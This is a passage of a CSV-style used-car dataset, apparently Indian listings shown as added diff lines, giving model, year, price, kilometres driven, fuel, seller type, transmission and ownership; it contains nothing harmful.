+Chevrolet Captiva 2.0L VCDi,2011,400000,76000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio VLX 2WD BSIV,2010,420000,100000,Diesel,Individual,Manual,Third Owner +Tata New Safari 3L Dicor LX 4x2,2008,300000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Minor,2010,170000,70000,Petrol,Individual,Manual,First Owner +Hyundai EON Era Plus,2014,210000,70000,Petrol,Individual,Manual,Third Owner +Maruti Ertiga VDI,2015,600000,60000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2014,260000,38000,Petrol,Individual,Manual,Second Owner +Tata Nano Twist XT,2015,82000,19000,Petrol,Individual,Manual,First Owner +Mahindra TUV 300 T8,2016,690000,75000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Asta,2015,300000,70000,Diesel,Individual,Manual,First Owner +Honda BRV i-DTEC V MT,2017,1250000,30000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi 1.6 EX,2017,799000,31707,Diesel,Individual,Manual,First Owner +Toyota Fortuner 3.0 Diesel,2010,1000000,180000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2014,190000,90000,Petrol,Individual,Manual,Second Owner +Mahindra Verito 1.5 D2 BSIII,2014,250000,30000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 i ABS,2009,200000,60000,Petrol,Individual,Manual,First Owner +Mahindra Bolero DI,2005,300000,90000,Diesel,Individual,Manual,Second Owner +Tata Zest Revotron 1.2T XMS,2015,250000,120000,Petrol,Individual,Manual,Second Owner +Maruti 800 AC,2008,90000,70000,Petrol,Individual,Manual,Third Owner +Hyundai Santro LE zipPlus,2001,68000,70000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Asta,2017,500000,26500,Petrol,Individual,Manual,First Owner +Hyundai Verna CRDi 1.6 SX,2017,900000,50000,Diesel,Individual,Manual,First Owner +Maruti Alto LX,2007,100000,52000,Petrol,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2016,700000,160000,Diesel,Individual,Manual,First Owner +Volvo XC60 D3 Kinetic,2012,1750000,115992,Diesel,Dealer,Automatic,Third Owner +Maruti Wagon R VXI Optional,2017,290000,110000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 Z Diesel 7 Seater BS IV,2014,1050000,97000,Diesel,Individual,Manual,Second Owner +Tata Indigo LX Dicor,2008,70000,100000,Diesel,Individual,Manual,Third Owner +Maruti Swift ZDi BSIV,2016,520000,41000,Diesel,Individual,Manual,First Owner +Tata Indigo LS,2012,150000,90000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.1,2008,120000,90000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta Option 1.2,2016,600000,25000,Petrol,Individual,Manual,First Owner +Tata Xenon XT EX 4X4,2010,150000,70000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento Petrol Highline,2011,400000,60000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2015,310000,30000,Petrol,Individual,Manual,Second Owner +Maruti Baleno Alpha 1.2,2015,550000,30000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta Option 1.4 CRDi,2016,550000,60000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Magna,2013,320000,73000,Diesel,Individual,Manual,First Owner +Maruti 800 AC BSII,1992,50000,100000,Petrol,Individual,Manual,Fourth & Above Owner +Hyundai Grand i10 1.2 Kappa Asta,2018,500000,32000,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2018,360000,26500,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza VDi Option,2017,700000,50000,Diesel,Individual,Manual,Second Owner +Maruti Ertiga VDI,2012,700000,110000,Diesel,Individual,Manual,Second Owner +Hyundai i20 1.4 Sportz,2017,655000,84000,Diesel,Dealer,Manual,First Owner +Maruti Vitara Brezza VDi Option,2017,700000,50000,Diesel,Individual,Manual,Second Owner +Chevrolet Beat LT LPG,2011,200000,110000,LPG,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL Optional,2012,375000,150000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,470000,109052,Diesel,Dealer,Manual,First Owner +Maruti Ciaz VDi,2015,550000,90658,Diesel,Dealer,Manual,First Owner +Honda Amaze VX i-DTEC,2014,500000,110000,Diesel,Individual,Manual,Second Owner +Datsun GO T Option BSIV,2015,210000,25000,Petrol,Individual,Manual,First Owner +Maruti Eeco 7 Seater Standard BSIV,2018,270000,20000,Petrol,Individual,Manual,First Owner +Skoda Superb 1.8 TFSI MT,2010,300000,80000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI Minor,2007,80000,60000,Petrol,Individual,Manual,Third Owner +Mercedes-Benz E-Class E250 Edition E,2013,1451000,81000,Diesel,Dealer,Automatic,First Owner +Tata Safari Storme VX Varicor 400,2018,1085000,15000,Diesel,Individual,Manual,First Owner +Hyundai Verna SX AT Diesel,2009,245000,75000,Diesel,Dealer,Automatic,First Owner +Honda WR-V i-VTEC VX,2017,700000,25552,Petrol,Dealer,Manual,Second Owner +Hyundai EON Magna Plus,2018,300000,20000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 CRDi E,2017,350000,80000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Asta Option CVT BSIV,2017,635000,25000,Petrol,Dealer,Automatic,First Owner +Honda City S,2012,325000,40700,Petrol,Individual,Manual,First Owner +Mahindra XUV500 AT W10 1.99 mHawk,2017,1150000,65500,Diesel,Dealer,Automatic,First Owner +Tata Indigo GLE BSIII,2008,110000,42000,Petrol,Dealer,Manual,First Owner +Honda City 1.5 V MT,2018,890000,8000,Petrol,Dealer,Manual,First Owner +Maruti Swift 1.3 LXI,2007,73000,80000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat PS,2014,170000,77000,Petrol,Individual,Manual,First Owner +Maruti Ciaz ZXi Plus,2016,750000,6000,Petrol,Dealer,Manual,First Owner +Hyundai EON 1.0 Era Plus,2017,280000,28838,Petrol,Individual,Manual,First Owner +Maruti Baleno Alpha 1.2,2018,690000,11174,Petrol,Dealer,Manual,First Owner +Tata Indigo GLS,2008,130000,120000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.3 LXI,2007,73000,80000,Petrol,Individual,Manual,Second Owner +Hyundai Santro Xing GLS,2007,85000,85000,Petrol,Individual,Manual,Second Owner +Hyundai Elantra 2.0 SX AT,2018,1575000,10000,Petrol,Individual,Automatic,First Owner +Nissan Sunny Diesel XV,2013,325000,105000,Diesel,Individual,Manual,First Owner +Honda City 1.3 EXI,1998,85000,120000,Petrol,Individual,Manual,Second Owner +Hyundai Verna 1.6 CRDI SX Option,2018,860000,30000,Diesel,Dealer,Manual,Second Owner +Maruti S-Cross Sigma DDiS 200 SH,2017,690000,41000,Diesel,Individual,Manual,First Owner +Hyundai Elantra CRDi S,2013,650000,54000,Diesel,Dealer,Manual,First Owner +Chevrolet Sail LS ABS,2014,375000,40000,Diesel,Individual,Manual,First Owner +Hyundai Verna 1.6 SX CRDi (O),2013,525000,71000,Diesel,Dealer,Manual,First Owner +Maruti Eeco Smiles 5 Seater AC,2016,330000,72500,Petrol,Dealer,Manual,First Owner +Maruti Eeco Smiles 5 Seater AC,2013,280000,76600,Petrol,Dealer,Manual,First Owner +Maruti Swift ZXI,2014,470000,40000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2011,350000,110000,Diesel,Individual,Manual,First Owner +Honda City 1.5 V Elegance,2012,480000,63000,Petrol,Dealer,Manual,First Owner +Hyundai Verna 1.6 CRDi SX,2016,620000,60000,Diesel,Individual,Manual,First Owner +Datsun GO T BSIV,2014,250000,58000,Petrol,Individual,Manual,First Owner +Chevrolet Spark 1.0,2010,78692,80000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Magna Optional 1.4 CRDi,2012,350000,80000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2013,250000,70000,Petrol,Individual,Manual,Second Owner +Hyundai i20 1.2 Sportz,2011,260000,97700,Petrol,Individual,Manual,Fourth & Above Owner +Honda Mobilio S i DTEC,2016,640000,36000,Diesel,Individual,Manual,Second Owner +Tata New Safari DICOR 2.2 EX 4x2,2008,220000,90000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento 1.5 TDI Highline,2015,465000,130000,Diesel,Individual,Manual,First Owner +Maruti Swift Vdi BSIII,2010,229999,120000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2018,425000,15000,Petrol,Individual,Manual,First Owner +Tata Indica GLS BS IV,2008,95000,120000,Petrol,Individual,Manual,Third Owner +Hyundai EON LPG Magna Plus,2012,170000,170000,LPG,Individual,Manual,Third Owner +Datsun RediGO T Option,2016,229999,37500,Petrol,Individual,Manual,Second Owner +Maruti 800 Std,1999,45000,50000,Petrol,Individual,Manual,Third Owner +Maruti Grand Vitara MT,2007,479000,145000,Petrol,Individual,Manual,Third Owner +Mahindra KUV 100 mFALCON G80 K8 5str,2016,370000,60000,Petrol,Individual,Manual,First Owner +Hyundai EON Sportz,2016,340000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire ZXI,2016,620000,35000,Petrol,Individual,Manual,First Owner +Tata Manza Club Class Quadrajet90 EX,2012,270000,60000,Diesel,Individual,Manual,First Owner +Tata Tiago 1.05 Revotorq XZ Plus,2018,400000,35000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI Optional,2015,260000,40000,Petrol,Individual,Manual,First Owner +Hyundai Santro LE zipPlus,2003,48000,50000,Petrol,Individual,Manual,Fourth & Above Owner +Tata Nano Twist XE,2015,100000,23800,Petrol,Individual,Manual,Second Owner +Nissan Terrano XL Plus 85 PS,2015,490000,70000,Diesel,Individual,Manual,First Owner +Maruti Wagon R Duo Lxi,2010,120000,90000,LPG,Individual,Manual,Second Owner +Hyundai i10 Era,2008,125000,102000,Petrol,Individual,Manual,Second Owner +Hyundai EON Era Plus,2013,160000,80000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2019,190000,5000,Petrol,Individual,Manual,First Owner +Tata Harrier XZ BSIV,2019,1700000,10000,Diesel,Individual,Manual,First Owner +Hyundai i10 Sportz,2011,250000,50000,Petrol,Individual,Manual,First Owner +Maruti Ignis 1.2 Delta BSIV,2019,500000,15000,Petrol,Individual,Manual,First Owner +Toyota Corolla Altis 1.8 J,2008,400000,35000,Petrol,Individual,Manual,Second Owner +Fiat Linea T Jet Plus,2011,500000,20000,Petrol,Individual,Manual,First Owner +Toyota Fortuner 4x2 AT,2014,1800000,99000,Diesel,Individual,Automatic,First Owner +Honda Civic 1.8 V MT,2008,320000,90000,Petrol,Individual,Manual,First Owner +Honda Civic 1.8 S AT,2007,250000,47000,Petrol,Dealer,Automatic,First Owner +Ford Figo Diesel Titanium,2010,105000,90000,Diesel,Individual,Manual,Third Owner +Hyundai i20 Active 1.2 SX,2018,550000,20000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz AT,2019,600000,1100,Petrol,Individual,Automatic,First Owner +Maruti Alto 800 VXI,2020,210000,40000,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI Airbag,2012,210000,15000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2009,150000,40000,Petrol,Individual,Manual,First Owner +Hyundai i10 Era 1.1,2008,125000,60000,Petrol,Individual,Manual,First Owner +Maruti Celerio VXI,2016,380000,20000,Petrol,Individual,Manual,First Owner +Maruti Baleno Delta 1.2,2019,600000,5000,Petrol,Individual,Manual,First Owner +Maruti Swift VXI Deca,2016,490000,27000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire LDI,2018,545000,38000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2015,250000,25000,Petrol,Individual,Manual,First Owner +Hyundai Venue SX Opt Turbo BSIV,2020,1050000,1100,Petrol,Individual,Manual,First Owner +Maruti Wagon R LX Minor,2007,100000,100000,Petrol,Individual,Manual,First Owner +Ford Figo Diesel ZXI,2014,250000,100000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LX BSIII,2007,100000,110000,Petrol,Individual,Manual,First Owner +Ford Figo 1.5D Ambiente ABS MT,2016,350000,60000,Diesel,Individual,Manual,Second Owner +Renault Duster 110PS Diesel RxZ Plus,2012,370000,70000,Diesel,Individual,Manual,Second Owner +Maruti Zen VXi - BS III,2004,121000,110000,Petrol,Individual,Manual,Second Owner +Ford Figo Aspire 1.5 Ti-VCT Titanium,2017,570000,44077,Petrol,Dealer,Automatic,First Owner +Maruti Ertiga SHVS VDI,2017,785000,24000,Diesel,Individual,Manual,First Owner +Maruti Ciaz S 1.3,2018,850000,30000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2016,375000,30000,Petrol,Individual,Manual,Second Owner +Maruti Baleno Alpha 1.2,2017,619000,40000,Petrol,Individual,Manual,First Owner +Chevrolet Cruze LTZ,2011,335000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 G (Diesel) 8 Seater BS IV,2006,500000,50000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LX,2003,60000,100000,Petrol,Individual,Manual,Second Owner +Maruti Zen Estilo VXI BSIV,2010,130000,50000,Petrol,Individual,Manual,Second Owner +Mahindra Ingenio CRDe,2015,210000,210000,Diesel,Individual,Manual,First Owner +Toyota Innova Crysta 2.4 VX MT 8S BSIV,2019,1900000,20000,Diesel,Individual,Manual,First Owner +Tata Indigo TDI,2013,270000,70000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R LXI Minor,2010,225000,100000,Petrol,Individual,Manual,Second Owner +Maruti SX4 ZXI MT BSIV,2011,150000,160000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LT,2013,173000,70000,Diesel,Individual,Manual,First Owner +BMW 5 Series 520d Luxury Line,2018,4800000,9422,Diesel,Individual,Automatic,First Owner +Volkswagen Vento 1.5 Highline Plus AT 16 Alloy,2017,710000,110000,Diesel,Individual,Automatic,First Owner +Toyota Corolla Altis 1.8 GL,2019,1500000,20000,Petrol,Individual,Manual,First Owner +Maruti Baleno Zeta 1.2,2017,550000,20000,Petrol,Individual,Manual,First Owner +Maruti 800 AC BSIII,2008,58000,70000,Petrol,Individual,Manual,Second Owner +Audi A4 1.8 TFSI,2012,1200000,60000,Petrol,Individual,Automatic,Third Owner +Mahindra Scorpio M2DI,2013,500000,150000,Diesel,Individual,Manual,First Owner +Maruti Swift LXi BSIV,2009,120000,83000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 EV Diesel PS 7 Seater BSIII,2012,300000,250000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2018,300000,30000,Petrol,Individual,Manual,First Owner +Datsun GO Plus T Option BSIV,2015,295000,21000,Petrol,Individual,Manual,First Owner +Maruti Ertiga VXI CNG,2018,587000,80000,CNG,Individual,Manual,First Owner +Ambassador Grand 1800 ISZ MPFI PW CL,2012,430000,50000,Petrol,Individual,Manual,Second Owner +Hyundai Verna i (Petrol),2007,123000,50000,Petrol,Individual,Manual,Second Owner +Skoda Laura Ambiente 2.0 TDI CR AT,2012,450000,48500,Diesel,Individual,Automatic,Second Owner +Maruti Wagon R LXI Minor,2007,130000,60000,Petrol,Individual,Manual,Third Owner +Tata Indica Vista Aqua 1.4 TDI,2010,110000,90000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo Celebration Edition BSIV,2010,200000,240000,Diesel,Individual,Manual,Third Owner +Hyundai Grand i10 Magna,2015,320000,70000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI BS IV,2014,300000,50000,Petrol,Individual,Manual,First Owner +Volkswagen CrossPolo 1.2 MPI,2016,350000,110000,Petrol,Individual,Manual,First Owner +Maruti Ertiga VXI Petrol,2018,800000,50000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.1 CRDi S,2016,270000,175000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Magna Executive,2017,540000,60000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI CNG,2011,160000,60000,CNG,Individual,Manual,Second Owner +Maruti SX4 VDI,2013,340000,100000,Diesel,Individual,Manual,Second Owner +Maruti Eeco 5 Seater AC BSIV,2017,350000,40000,Petrol,Individual,Manual,Second Owner +Volkswagen Vento Diesel Style Limited Edition,2011,300000,100000,Diesel,Individual,Manual,First Owner +Maruti Ritz VDi,2013,330000,63000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI CNG,2016,325000,80000,CNG,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2013,250000,55000,Diesel,Individual,Manual,First Owner +Maruti Swift Star VDI,2013,250000,55000,Diesel,Individual,Manual,First Owner +Chevrolet Beat LT Option,2015,240000,60000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Magna BSIV,2020,545000,5000,Petrol,Individual,Manual,First Owner +Hyundai i10 Magna 1.1 iTech SE,2015,300000,48000,Petrol,Dealer,Manual,First Owner +Chevrolet Beat LT,2010,130000,80000,Petrol,Individual,Manual,Second Owner +Renault KWID RXT,2017,240000,50000,Petrol,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,360000,15000,Petrol,Individual,Manual,First Owner +Hyundai i20 1.4 CRDi Magna,2012,250000,70000,Diesel,Individual,Manual,First Owner +Skoda Laura Elegance 2.0 TDI CR AT,2019,475000,105000,Diesel,Dealer,Automatic,First Owner +Hyundai i20 Asta Option 1.4 CRDi,2016,600000,50000,Diesel,Individual,Manual,Second Owner +Tata Indigo CR4,2010,150000,80000,Diesel,Individual,Manual,Second Owner +Ford EcoSport 1.5 Diesel Trend BSIV,2017,700000,50000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2016,1290000,5000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XG,2004,80000,58000,Petrol,Individual,Manual,First Owner +Hyundai Grand i10 Sportz,2015,425000,12000,Petrol,Individual,Manual,First Owner +Maruti Celerio ZXI AMT BSIV,2018,500000,10000,Petrol,Individual,Automatic,First Owner +Hyundai Santro Xing GLS,2012,193000,45000,Petrol,Individual,Manual,Second Owner +Honda City i VTEC V,2015,800000,10000,Petrol,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2008,150000,50000,Petrol,Individual,Manual,First Owner +Maruti 800 AC,2002,80000,40000,Petrol,Individual,Manual,Fourth & Above Owner +Ford Figo Diesel EXI,2010,130000,100000,Diesel,Individual,Manual,Third Owner +Ford Figo Diesel EXI,2012,280000,80000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo D2 BS IV,2011,229999,110000,Diesel,Individual,Manual,Second Owner +Maruti Zen Estilo VXI BSIII,2008,80000,120000,Petrol,Individual,Manual,First Owner +Tata Nano Cx BSIII,2010,70000,10000,Petrol,Individual,Manual,First Owner +Maruti Ritz VDi,2013,240000,60000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo E8,2010,380000,72000,Diesel,Individual,Manual,Second Owner +Maruti Ritz VDi,2013,240000,60000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing XO,2006,80000,110000,Petrol,Individual,Manual,First Owner +Hyundai i10 Era,2013,265000,50000,Petrol,Individual,Manual,First Owner +Hyundai EON Magna Plus Option,2018,320000,25000,Petrol,Individual,Manual,First Owner +Nissan Terrano XL 110 PS,2014,500000,120000,Diesel,Individual,Manual,Third Owner +Hyundai Creta 1.6 CRDi SX Option,2016,1300000,55000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio S11 BSIV,2018,1500000,35000,Diesel,Individual,Manual,First Owner +Toyota Innova Crysta 2.8 ZX AT BSIV,2016,1800000,110000,Diesel,Individual,Automatic,First Owner +Mahindra XUV500 W6 2WD,2014,600000,80000,Diesel,Individual,Manual,Second Owner +Tata Tiago 1.2 Revotron XT,2018,420000,80000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo LXI BS IV,2009,140000,120000,Petrol,Individual,Manual,First Owner +Skoda Laura Ambiente 2.0 TDI CR MT,2010,300000,100000,Diesel,Individual,Manual,Second Owner +Hyundai Santro Xing XL eRLX Euro III,2006,100000,60000,Petrol,Dealer,Manual,Second Owner +Maruti Alto K10 VXI,2017,350000,25000,Petrol,Dealer,Manual,First Owner +Ford EcoSport 1.5 Ti VCT MT Titanium BE BSIV,2018,850000,19000,Petrol,Dealer,Manual,First Owner +Maruti Alto LX,2008,140000,54000,Petrol,Dealer,Manual,First Owner +Ford Aspire Titanium Plus BSIV,2015,550000,17100,Petrol,Dealer,Manual,Second Owner +Hyundai Grand i10 Asta Option AT,2017,525000,19000,Petrol,Dealer,Automatic,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2015,470000,146000,Diesel,Dealer,Manual,First Owner +Ford Endeavour 3.0L 4X4 AT,2013,900000,98000,Diesel,Dealer,Automatic,First Owner +Ford Endeavour 2.5L 4X2,2011,500000,224642,Diesel,Dealer,Manual,Second Owner +Maruti Zen LXI,1998,80000,120000,Petrol,Individual,Manual,Second Owner +Mahindra Verito 1.5 D2 BSIII,2011,175000,175000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 AT W10 AWD,2017,1350000,15000,Diesel,Individual,Automatic,Second Owner +Renault Duster 110PS Diesel RxZ,2017,800000,50000,Diesel,Individual,Manual,First Owner +Datsun RediGO 1.0 S,2017,250000,15000,Petrol,Individual,Manual,First Owner +Maruti Ignis 1.2 AMT Alpha BSIV,2018,700000,25000,Petrol,Individual,Automatic,First Owner +Tata Nexon 1.5 Revotorq XM,2019,800000,25000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2013,660000,69000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,465000,60000,Diesel,Individual,Manual,Third Owner +Mahindra Scorpio 2.6 CRDe,2006,180000,222435,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire VDI,2017,600000,66000,Diesel,Individual,Manual,Third Owner +Ford Fiesta 1.4 ZXi Duratec,2010,150000,110000,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2014,450000,78000,Diesel,Individual,Manual,Second Owner +Hyundai Elite i20 Sportz Plus BSIV,2019,721000,10000,Petrol,Individual,Manual,First Owner +Maruti Swift 1.2 DLX,2018,300000,35000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio BSIV,2019,1000000,10000,Diesel,Individual,Manual,First Owner +Renault KWID RXT,2016,300000,40000,Petrol,Individual,Manual,First Owner +Mahindra Scorpio LX,2013,450000,120000,Diesel,Individual,Manual,First Owner +Maruti Esteem AX,1997,79000,70000,Petrol,Individual,Automatic,First Owner +Ford Figo 1.5D Trend MT,2017,545000,40000,Diesel,Individual,Manual,First Owner +Honda Amaze V Diesel BSIV,2018,844999,20000,Diesel,Individual,Manual,First Owner +Skoda Rapid 1.5 TDI Ambition,2016,700000,93000,Diesel,Individual,Manual,First Owner +Toyota Etios VD,2016,650000,159000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium,2014,525000,75000,Diesel,Individual,Manual,Second Owner +Ford Fiesta Classic 1.4 SXI Duratorq,2006,110000,101100,Diesel,Individual,Manual,Third Owner +Tata Indica Vista Aqua 1.3 Quadrajet BSIV,2011,180000,66000,Diesel,Individual,Manual,First Owner +Hyundai i10 Era,2012,280000,30000,Petrol,Individual,Manual,Second Owner +Renault KWID 1.0 RXT Optional,2019,400000,10000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 4WD,2012,625000,126000,Diesel,Individual,Manual,Second Owner +Volkswagen Vento 1.5 TDI Highline,2015,535000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI Optional,2017,459999,50000,Diesel,Individual,Manual,First Owner +Mahindra Bolero DI,2010,300000,100000,Diesel,Individual,Manual,First Owner +Honda Civic 1.8 V AT,2007,280000,60000,Petrol,Individual,Automatic,First Owner +Honda Mobilio V i VTEC,2014,500000,70000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.6 SX,2019,1200000,1200,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2016,300000,40000,Petrol,Individual,Manual,First Owner +Tata Manza ELAN Quadrajet BS IV,2011,180000,80000,Diesel,Individual,Manual,Third Owner +Hyundai i10 Sportz AT,2011,180000,134444,Petrol,Individual,Automatic,Second Owner +Maruti Alto LXi,2009,78000,120000,Petrol,Individual,Manual,Second Owner +Nissan Micra Diesel XV Premium,2011,160000,120000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD AIRBAG BSIV,2014,600000,238000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LXI Minor,2008,110000,100000,Petrol,Individual,Manual,Second Owner +Mahindra Bolero SLX 4WD BSIII,2011,450000,110000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio S9 BSIV,2019,1350000,35000,Diesel,Individual,Manual,First Owner +Honda City 1.3 DX,2003,120000,165000,Petrol,Individual,Manual,Second Owner +Honda BR-V i-DTEC VX MT,2018,1040000,42000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 CRDi Sportz,2014,390000,70000,Diesel,Individual,Manual,Second Owner +Tata Nano Lx BSIII,2011,65000,60000,Petrol,Individual,Manual,Second Owner +Volkswagen Polo Diesel Highline 1.2L,2013,320000,115000,Diesel,Individual,Manual,Third Owner +Volkswagen Ameo 1.5 TDI Highline,2017,720000,70000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI ABS,2007,220000,80000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R LXI BS IV,2011,225000,65000,Petrol,Dealer,Manual,First Owner +Tata Manza Aura (ABS) Quadrajet BS IV,2010,200000,150000,Diesel,Individual,Manual,Second Owner +Toyota Etios GD,2015,434999,75000,Diesel,Dealer,Manual,Second Owner +Ford Figo Diesel Titanium,2012,300000,63700,Diesel,Individual,Manual,First Owner +Honda Amaze VX i-DTEC,2018,700000,74800,Diesel,Individual,Manual,First Owner +Ford Endeavour 2.5L 4X2 MT,2009,500000,105000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxE,2016,500000,40000,Diesel,Individual,Manual,First Owner +Maruti Ritz LDi,2016,400000,90000,Diesel,Individual,Manual,Second Owner +Toyota Corolla Altis D-4D J,2015,825000,75000,Diesel,Dealer,Manual,Second Owner +Maruti Swift Dzire VDI,2018,720000,15000,Diesel,Individual,Manual,First Owner +Maruti 800 AC Uniq,2009,110000,30000,Petrol,Individual,Manual,Second Owner +Mahindra Scorpio VLX 2WD AIRBAG BSIV,2014,600000,100000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio VLX 2WD AT BSIV,2009,275000,155000,Diesel,Individual,Automatic,Third Owner +Land Rover Range Rover Evoque 2.2L Dynamic,2012,2349000,149000,Diesel,Individual,Automatic,Second Owner +Hyundai i20 1.4 Sportz,2017,740000,60000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.3,2017,800000,90000,Diesel,Individual,Manual,First Owner +Hyundai Verna CRDi 1.6 SX Option,2019,1100000,100000,Diesel,Individual,Manual,First Owner +BMW X1 sDrive20d,2012,750000,100000,Diesel,Individual,Automatic,Second Owner +Maruti Alto K10 2010-2014 VXI,2012,200000,90000,Petrol,Individual,Manual,Second Owner +Tata Spacio SA 6 Seater,2009,210000,75000,Diesel,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2009,270000,120000,Diesel,Individual,Manual,Second Owner +Toyota Etios 1.4 VXD,2016,630000,90000,Diesel,Individual,Manual,Second Owner +Hyundai Xcent 1.2 Kappa S,2015,375000,55000,Petrol,Individual,Manual,First Owner +Mahindra Xylo D2,2010,300000,70000,Diesel,Individual,Manual,First Owner +Mahindra Bolero Power Plus SLX,2016,580000,95000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.4 CRDi,2014,550000,50000,Diesel,Individual,Manual,First Owner +Maruti Ciaz ZDi Plus SHVS,2016,750000,50000,Diesel,Individual,Manual,First Owner +Maruti Omni E MPI STD BS IV,2014,250000,60516,Petrol,Individual,Manual,First Owner +Hyundai Verna 1.6 SX,2012,434999,235000,Diesel,Individual,Manual,Second Owner +Mercedes-Benz E-Class 280 CDI,2007,900000,76731,Diesel,Dealer,Automatic,First Owner +Maruti Swift ZDI,2016,685000,64000,Diesel,Dealer,Manual,First Owner +Maruti Swift VDI BSIV,2014,540000,65000,Diesel,Dealer,Manual,First Owner +Honda City i-VTEC CVT ZX,2018,1165000,13000,Petrol,Dealer,Automatic,Test Drive Car +Ford Ecosport 1.5 DV5 MT Titanium Optional,2014,610000,77000,Diesel,Dealer,Manual,First Owner +Hyundai EON Era,2011,254999,24000,Petrol,Dealer,Manual,First Owner +Nissan Micra Active XV,2014,280000,63840,Petrol,Dealer,Manual,First Owner +Tata Tiago 1.2 Revotron XT,2017,370000,25000,Petrol,Individual,Manual,First Owner +Tata New Safari DICOR 2.2 EX 4x2,2011,459999,76400,Diesel,Individual,Manual,Second Owner +Maruti Zen LX,1998,42000,70000,Petrol,Individual,Manual,Third Owner +Maruti Zen LX,1998,42000,70000,Petrol,Individual,Manual,Third Owner +Fiat Linea Active (Diesel),2011,190000,80000,Diesel,Individual,Manual,Third Owner +Fiat Punto 1.4 Emotion,2010,165000,100000,Petrol,Individual,Manual,Fourth & Above Owner +Ford EcoSport 1.5 Diesel Trend Plus BSIV,2017,710000,40000,Diesel,Individual,Manual,First Owner +Hyundai Creta 1.6 SX Option,2018,1200000,15000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo LXI BS IV,2011,229999,70000,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2018,310000,15000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI BS 